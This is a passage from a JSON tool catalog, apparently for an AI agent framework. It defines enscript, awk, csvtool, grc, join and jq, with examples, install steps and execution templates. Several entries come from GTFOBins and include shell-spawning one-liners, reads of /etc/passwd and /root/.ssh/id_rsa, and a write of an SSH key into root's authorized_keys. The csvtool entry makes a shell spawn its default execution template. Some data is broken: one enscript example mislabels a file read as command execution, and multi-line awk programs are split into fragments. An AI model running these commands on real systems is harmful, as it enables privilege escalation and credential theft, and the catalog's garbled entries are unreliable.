    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "enscript.md",
    "allowed-tools": [
      "enscript",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Convert text files to PostScript, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via enscript",
        "command": "enscript /path/to/file"
      },
      {
        "description": "Execute command via enscript",
        "command": "enscript /path/to/file"
      }
    ],
    "execution": {
      "template": "enscript /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-print-enscript",
    "install": [
      {
        "method": "apt",
        "package_name": "enscript",
        "commands": [
          "apt-get install -y enscript"
        ]
      }
    ],
    "name": "enscript",
    "namespace": "text:print:enscript",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/enscript/"
      }
    ],
    "related_tools": [
      "a2ps"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# Awk — Text Processing Language\n\nAwk is a powerful text processing language designed for field-oriented data extraction, reporting, and transformation. It's ideal for processing structured text files like logs, CSVs, and tables.\n\n## Core Concepts\n\nAwk programs follow the pattern: `pattern { action }`\n\n- **pattern** — Condition that determines which records to process\n- **action** — What to do with matching records\n\n### Built-in Variables\n\n| Variable | Meaning |\n|----------|---------|\n| `$0` | Entire current line |\n| `$1`, `$2`, ... | First, second, ... field |\n| `NF` | Number of fields in current record |\n| `NR` | Current record number (line number) |\n| `FS` | Field separator (default: whitespace) |\n| `OFS` | Output field separator |\n\n## Common Patterns\n\n### Field Extraction\n```bash\n# Print columns 1, 3, and last\nawk '{print $1, $3, $NF}' file.txt\n\n# With header\nawk 'BEGIN {print \"Name\\tValue\"} {print $1, $2}' data.txt\n\n# Custom separator\nawk -F: '{print $1, $3}' /etc/passwd\n```\n\n### Filtering\n```bash\n# Lines where column 3 > 100\nawk '$3 > 100' data.txt\n\n# Lines matching regex\nawk '/error/' log.txt\n\n# Combined conditions\nawk '$1 ~ /^192\\.168/ && $3 > 1000' access.log\n```\n\n### Aggregation\n```bash\n# Sum column\nawk '{sum += $2} END {print sum}' data.txt\n\n# Average\nawk '{sum += $2; count++} END {print sum/count}' data.txt\n\n# Group by category\nawk '{count[$1]++} END {for (k in count) print k, count[k]}' data.txt\n```\n\n## Related Tools\n\n- **[sed](../process/sed.md)** — Stream editor for substitutions\n- **[grep](../../search/grep.md)** — Pattern search\n- **[cut](../../transform/cut.md)** — Simple column extraction\n- **[jq](../process/jq.md)** — JSON-specific processor\n",
    "_source": "awk.md",
    "allowed-tools": [
      "awk",
      "gawk",
      "nawk",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "text.transformed",
        "description": "Processed text output",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "data.report",
        "description": "Formatted report",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "text.process.field",
      "text.aggregate.count",
      "text.aggregate.average",
      "text.process.report",
      "data.transform.column",
      "text.transform.csv",
      "text.aggregate.sum",
      "security.execution.command",
      "security.privilege-escalation.shell",
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [
        {
          "type": "text.plain",
          "description": "Input text for processing"
        },
        {
          "type": "text.awk.script",
          "description": "Awk script or expression"
        }
      ],
      "outputs": [
        {
          "type": "text.transformed",
          "description": "Processed text output",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Pattern scanning and text processing language for field-oriented data extraction, reporting, and transformation.",
    "examples": [
      {
        "description": "Print specific columns from a file",
        "command": "awk '{print $1, $3}' file.txt"
      },
      {
        "description": "Print with custom field separator (CSV)",
        "command": "awk -F',' '{print $1, $2}' data.csv"
      },
      {
        "description": "Filter rows by column value",
        "command": "awk '$3 > 100 {print $1, $3}' data.txt"
      },
      {
        "description": "Compute sum of a column",
        "command": "awk '{sum += $2} END {print sum}' data.txt"
      },
      {
        "description": "Print formatted report with headers",
        "command": "awk 'BEGIN {print \"Name\\tScore\"} {print $1 \"\\t\" $2}' data.txt"
      },
      {
        "description": "Count lines per category",
        "command": "awk '{count[$1]++} END {for (c in count) print c, count[c]}' data.txt"
      },
      {
        "description": "Can be used to execute arbitrary commands on a system and spawn shells.",
        "command": "awk 'BEGIN{system(\"/bin/sh\")}'"
      },
      {
        "description": "Can be used to execute arbitrary commands on a system.",
        "command": "awk 'BEGIN {system(\"ls\"); exit}' /dev/null\n"
      },
      {
        "description": "The file must exist and command will be executed as many rows there are in the file.",
        "command": "awk 'system(\"ls\")' /etc/passwd\n"
      },
      {
        "description": "If spaces cannot be inserted, we can use `sprintf(%c,32)` to emulate them.",
        "command": "awk '//{}BEGIN{system(sprintf(\"uname%c-aa\",32))}'\n"
      },
      {
        "description": "Read an arbitrary file.",
        "command": "awk 'BEGIN{while((getline line<\"/etc/passwd\")>0){print line}}' /dev/null\n"
      },
      {
        "description": "Argument injection: execute arbitrary command: Can be used to execute arbitrary commands on a system.",
        "command": "awk 'BEGIN {system(\"ls\"); exit}' /dev/null"
      },
      {
        "description": "Argument injection: execute arbitrary command: The file must exist and command will be executed as many rows there are in the file.",
        "command": "awk 'system(\"ls\")' /etc/passwd"
      },
      {
        "description": "Argument injection: execute arbitrary command: If spaces cannot be inserted, we can use `sprintf(%c,32)` to emulate them.",
        "command": "awk '//{}BEGIN{system(sprintf(\"uname%c-aa\",32))}'"
      },
      {
        "description": "Argument injection: read local file: Read an arbitrary file.",
        "command": "awk 'BEGIN{while((getline line<\"/etc/passwd\")>0){print line}}' /dev/null"
      },
      {
        "description": "Argument injection: read local file: Print the contents of multiple files.",
        "command": "awk '//' /etc/passwd /etc/hostname /root/.ssh/id_rsa"
      },
      {
        "description": "Argument injection: write to local file: Write to an arbitrary file",
        "command": "awk 'BEGIN{print \"ssh-rsa ...\" > \"/root/.ssh/authorized_keys}' /dev/null"
      },
      {
        "description": "Sum integers from a file or STDIN, one integer per line.",
        "command": "printf '1\\n2\\n3\\n' | awk '{sum += $1} END {print sum}'"
      },
      {
        "description": "Using specific character as separator to sum integers from a file or STDIN.",
        "command": "printf '1:2:3' | awk -F \":\" '{print $1+$2+$3}'"
      },
      {
        "description": "Print line number 12 of file.txt",
        "command": "awk 'NR==12' file.txt"
      },
      {
        "description": "Print first field for each record in file.txt",
        "command": "awk '{print $1}' file.txt"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "Print only lines that match regex in file.txt"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "awk '/regex/' file.txt"
      },
      {
        "description": "Print only lines that do not match regex in file.txt",
        "command": "awk '!/regex/' file.txt"
      },
      {
        "description": "Print any line where field 2 is equal to \"foo\" in file.txt",
        "command": "awk '$2 == \"foo\"' file.txt"
      },
      {
        "description": "Print lines where field 2 is NOT equal to \"foo\" in file.txt",
        "command": "awk '$2 != \"foo\"' file.txt"
      },
      {
        "description": "Print line if field 1 matches regex in file.txt",
        "command": "awk '$1 ~ /regex/' file.txt"
      },
      {
        "description": "Print line if field 1 does NOT match regex in file.txt",
        "command": "awk '$1 !~ /regex/' file.txt"
      },
      {
        "description": "Print lines with more than 80 characters in file.txt",
        "command": "awk 'length > 80' file.txt"
      },
      {
        "description": "Print a multiplication table.",
        "command": "awk -v RS='' '"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "{"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "for(i=1;i<=NF;i++){"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "printf(\"%dx%d=%d%s\", i, NR, i*NR, i==NR?\"\\n\":\"\\t\")"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "' <<< \"$(seq 9 | sed 'H;g')\""
      },
      {
        "description": "Specify output separator character.",
        "command": "printf '1 2 3' | awk 'BEGIN {OFS=\":\"}; {print $1,$2,$3}'"
      },
      {
        "description": "Search paragraph for the given REGEX match. Paragraphs will be collapsed together.",
        "command": "awk -v RS='' '/42B/' file"
      },
      {
        "description": "Search paragraph for the given REGEX match. Paragraphs will be separated with a new line.",
        "command": "awk -v RS= ORS='\\n\\n' '/42B/' file"
      },
      {
        "description": "Display only first field in text taken from STDIN.",
        "command": "echo 'Field_1  Field_2  Field_3' | awk '{print $1}'"
      },
      {
        "description": "Use AWK solo; without the need for something via STDIN.",
        "command": "awk 'BEGIN {print(\"Example text.\")}'"
      },
      {
        "description": "Access environment variables from within AWK.",
        "command": "awk 'BEGIN {print ENVIRON[\"LS_COLORS\"]}'"
      },
      {
        "description": "Count number of lines taken from STDIN.",
        "command": "free | awk '{L++} END {print(L)}'"
      },
      {
        "description": "Cleaner, more efficient approach to the above.",
        "command": "free | awk 'END {print(NR)}'"
      },
      {
        "description": "Output unique list of available sections under which to create a DEB package.",
        "command": "awk '!A[$1]++ {print($1)}' <<< \"$(dpkg-query --show -f='${Section}\\n')\""
      },
      {
        "description": "Using process substitution (`<()` is NOT command substitution), with AWK and its associative array variables, we can print just column 2 for lines whose first column is equal to what's between the double-quotes.",
        "command": "awk '{NR != 1 && A[$1]=$2} END {print(A[\"Mem:\"])}' <(free -h)"
      },
      {
        "description": "While below is an easier and simpler solution to the above, it's not at all the same, and in other cases, the above is definitely preferable.",
        "command": "awk '/^Mem:/ {print($2)}' <(free -h)"
      },
      {
        "description": "Output list of unique uppercase-only, sigil-omitted variables used in FILE.",
        "command": "awk '"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "{"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "for(F=0; F<NF; F++){"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "if($F~/^\\$[A-Z_]+$/){"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "A[$F]++"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "END {"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "for(I in A){"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "X=substr(I, 2, length(I))"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "printf(\"%s\\n\", X)"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "' FILE"
      },
      {
        "description": "Output only lines from FILE between PATTERN_1 and PATTERN_2. Good for logs.",
        "command": "awk '/PATTERN_1/,/PATTERN_2/ {print}' FILE"
      },
      {
        "description": "Pretty-print a table of an overview of the non-system users on the system.",
        "command": "awk -F ':' '"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "BEGIN {"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "printf(\"%-17s %-4s %-4s %-s\\n\", \"NAME\", \"UID\", \"GID\", \"SHELL\")"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "$3 >= 1000 && $1 != \"nobody\" {"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "printf(\"%-17s %-d %-d %-s\\n\", $1, $3, $4, $7)"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "' /etc/passwd"
      },
      {
        "description": "Display the total amount of MiB of RAM available in the machine. This is also a painful but useful workaround to get the units comma-separated, as would be doable with Bash's own `printf` built-in.",
        "command": "awk '/^MemTotal:/ {printf(\"%'\"'\"'dMiB\\n\", $2 / 1024)}'"
      },
      {
        "description": "It's possible to sort strings in AWK, as well as uniq-ing, meaning you can replace uniq(1) and sort(1) calls with just the one call of AWK. Granted, you can use `sort -u` to do both, but AWK offers much more functionality. Unlike when using AWK to uniq-ify, uniq(1) only works by adjacency, meaning the duplicate lines must be adjacent to one another for them to be handled.",
        "command": "awk '"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "{"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "!Lines[$0]++"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "END {"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "asorti(Lines, Sorted)"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "for (Line in Sorted) {"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "print(Sorted[Line])"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "}"
      },
      {
        "description": "cheat.sheets: awk",
        "command": "' FILE"
      },
      {
        "description": "Remove duplicate lines",
        "command": "awk '!seen[$0]++' file.txt"
      },
      {
        "description": "Remove all empty lines",
        "command": "awk 'NF > 0' file.txt"
      }
    ],
    "execution": {
      "template": "awk {flag-f} {flag-f} {flag-v} {flag-b} {flag-c}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "batch",
      "pipes-stdout",
      "process-manip",
      "local",
      "pipes-stdin",
      "file-system",
      "output-json"
    ],
    "id": "text-process-awk",
    "install": [
      {
        "method": "apt",
        "package_name": "gawk",
        "commands": [
          "apt-get install -y gawk"
        ]
      },
      {
        "method": "brew",
        "package_name": "gawk",
        "commands": [
          "brew install gawk"
        ]
      }
    ],
    "name": "awk",
    "namespace": "text:process:awk",
    "parameters": [
      {
        "name": "M",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-M",
          "--bignum"
        ],
        "flag": "-M"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--debug[=file]",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-E",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--exec=file",
        "aliases": [
          "-E"
        ],
        "flag": "-E"
      },
      {
        "name": "flag-F",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--field-separator=fs",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-L",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--lint[=fatal|invalid|no-ext]",
        "aliases": [
          "-L",
          "-e"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--characters-as-bytes",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--traditional",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--dump-variables[=file]",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--source='program-text'",
        "aliases": [
          "-e",
          "-t"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--file=progfile",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--gen-pot",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--help",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--include=includefile",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-k",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--csv",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--load=library",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--non-decimal-data",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--pretty-print[=file]",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--profile[=file]",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "--re-interval",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--no-optimize",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--lint-old",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--assign=var=val",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "GNU Awk manual",
        "url": "https://www.gnu.org/software/gawk/manual/"
      },
      {
        "label": "Awk one-liners",
        "url": "https://awk.info/?tip/oneliner"
      }
    ],
    "related_tools": [
      "cut",
      "perl",
      "sed",
      "tr",
      "system-file-tr",
      "text-process-sed",
      "text-search-grep"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "analysis",
      "data-manipulation",
      "command-and-control",
      "collection",
      "execution",
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "processed-output",
        "formatted-report"
      ],
      "consumes": [
        "input-data",
        "awk-script"
      ]
    }
  },
  {
    "_body": "",
    "_source": "csvtool.md",
    "allowed-tools": [
      "csvtool",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "CSV manipulation tool, can read/write files and spawn shells via call command.",
    "examples": [
      {
        "description": "Spawn a shell via csvtool call",
        "command": "csvtool call '/bin/sh;false' /etc/hosts"
      },
      {
        "description": "Read a file via csvtool",
        "command": "csvtool trim t /path/to/input-file"
      }
    ],
    "execution": {
      "template": "csvtool call '/bin/sh;false' {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-process-csvtool",
    "install": [
      {
        "method": "apt",
        "package_name": "csvtool",
        "commands": [
          "apt-get install -y csvtool"
        ]
      }
    ],
    "name": "csvtool",
    "namespace": "text:process:csvtool",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/csvtool/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "grc.md",
    "allowed-tools": [
      "grc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Generic colourizer, can read files.",
    "examples": [
      {
        "description": "Read a file via grc",
        "command": "grc /path/to/file"
      }
    ],
    "execution": {
      "template": "grc /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-process-grc",
    "install": [
      {
        "method": "apt",
        "package_name": "grc",
        "commands": [
          "apt-get install -y grc"
        ]
      }
    ],
    "name": "grc",
    "namespace": "text:process:grc",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/grc/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "join.md",
    "allowed-tools": [
      "join",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Join lines of files on a common field, can read files.",
    "examples": [
      {
        "description": "Read files via join",
        "command": "join /path/to/file1 /path/to/file2"
      }
    ],
    "execution": {
      "template": "join /path/to/file1 /path/to/file2",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-process-join",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "join",
    "namespace": "text:process:join",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/join/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# jq — Command-line JSON Processor\n\njq is a lightweight and flexible command-line JSON processor. It uses a domain-specific language (DSL) for querying, filtering, and transforming JSON data with the power of functional programming constructs.\n\n## Core Concepts\n\njq operates on a stream of JSON values, applying a filter expression to each input value. Filters can:\n\n- **Select** specific fields: `.key`, `.[]`\n- **Transform** structures: `{new: .old}`\n- **Filter** arrays: `select(.age > 18)`\n- **Aggregate**: `length`, `add`, `group_by`\n- **Build** new objects: `{name, total: .items | length}`\n\n## Pipeline Integration\n\njq is designed for Unix pipeline composition:\n\n```bash\ncurl https://api.example.com/data | jq '.results[] | {id, name, status}' > results.txt\n```\n\nThis makes jq the canonical converter between `application.json` and `text.plain` artifact types.\n\n## Common Transform Patterns\n\n| Pattern | Command | Description |\n|---------|---------|-------------|\n| Pretty-print | `jq .` | Format JSON with indentation |\n| Extract field | `jq '.field'` | Get single field value |\n| Array to lines | `jq -r '.[]'` | Output each element on its own line |\n| Object projection | `jq '{id, name}'` | Create new object with subset of fields |\n| Conditional | `jq 'select(.status == \"ok\")'` | Filter by condition |\n",
    "_source": "jq.md",
    "allowed-tools": [
      "jq",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "application.json",
        "description": "JSON input data for transformation",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "text.plain",
        "description": "Plain text output from JSON query",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "text.transform.json",
      "text.query.jsonpath",
      "data.format.pretty"
    ],
    "contract": {
      "inputs": [
        {
          "type": "application.json",
          "description": "JSON data to query or transform",
          "mime": "application/json"
        }
      ],
      "outputs": [
        {
          "type": "text.plain",
          "description": "Query result as plain text",
          "mime": "text/plain"
        },
        {
          "type": "application.json",
          "description": "Transformed JSON output",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "none"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Lightweight and flexible command-line JSON processor for querying, filtering, and transforming JSON data.",
    "examples": [
      {
        "description": "Extract specific fields from JSON array",
        "command": "cat data.json | jq '.items[] | {id: .id, name: .name}'"
      },
      {
        "description": "Pretty-print JSON with colored output",
        "command": "echo '{\"key\": \"value\"}' | jq ."
      },
      {
        "description": "Count items in a JSON array",
        "command": "cat data.json | jq '.items | length'"
      },
      {
        "description": "Output a JSON file, in pretty-print format:",
        "command": "jq"
      },
      {
        "description": "Output all elements from arrays (or all key-value pairs from objects) in a JSON file:",
        "command": "jq .[]"
      },
      {
        "description": "Use jq to pretty-print JSON",
        "command": "jq '.' file.json"
      },
      {
        "description": "Filter JSON object by extracting a specific field",
        "command": "jq '.fieldName' file.json"
      },
      {
        "description": "Filter JSON array to extract specific element by index",
        "command": "jq '.[index]' file.json"
      },
      {
        "description": "Select multiple fields from JSON",
        "command": "jq '{field1: .field1, field2: .field2}' file.json"
      },
      {
        "description": "Use jq to count the number of elements in an array",
        "command": "jq '.arrayName | length' file.json"
      },
      {
        "description": "Apply a function to each element in a JSON array",
        "command": "jq '.arrayName[] | .fieldName' file.json"
      },
      {
        "description": "Parse JSON from stdin",
        "command": "cat file.json | jq '.fieldName'"
      },
      {
        "description": "Use jq to filter JSON objects by condition",
        "command": "jq 'select(.fieldName == \"value\")' file.json"
      },
      {
        "description": "Modify JSON field value",
        "command": "jq '.fieldName = \"newValue\"' file.json"
      },
      {
        "description": "Load JSON from URL",
        "command": "curl -s \"http://example.com/file.json\" | jq '.fieldName'"
      },
      {
        "description": "Combine operations and select elements from different levels",
        "command": "jq '.[] | {id: .id, name: .info.name}' file.json"
      },
      {
        "description": "Query nested JSON data",
        "command": "jq '.outerField.innerField' file.json"
      },
      {
        "description": "Concatenate fields",
        "command": "jq '.field1 + \" \" + .field2' file.json"
      },
      {
        "description": "Group by a particular field",
        "command": "jq 'group_by(.fieldName)' file.json"
      },
      {
        "description": "Sort JSON objects by field",
        "command": "jq 'sort_by(.fieldName)' file.json"
      },
      {
        "description": "Use jq to find unique values",
        "command": "jq 'unique' file.json"
      },
      {
        "description": "Print keys and values of a JSON object",
        "command": "jq 'to_entries | .[] | \"\\(.key): \\(.value)\"' file.json"
      },
      {
        "description": "Output compact JSON without whitespace",
        "command": "jq -c '.' file.json"
      },
      {
        "description": "Use jq to delete a field",
        "command": "jq 'del(.fieldName)' file.json"
      },
      {
        "description": "Combine data from two JSON files",
        "command": "jq -s '.[0] + .[1]' file1.json file2.json"
      },
      {
        "description": "Read JSON objects from a file into an array, and output it (inverse of jq .[]):",
        "command": "jq --slurp"
      },
      {
        "description": "Output the first element in a JSON file:",
        "command": "jq .[0]"
      },
      {
        "description": "Output the value of a given key of the first element in a JSON file:",
        "command": "jq .[0].key_name"
      },
      {
        "description": "Output the value of a given key of each element in a JSON file:",
        "command": "jq 'map(.key_name)'"
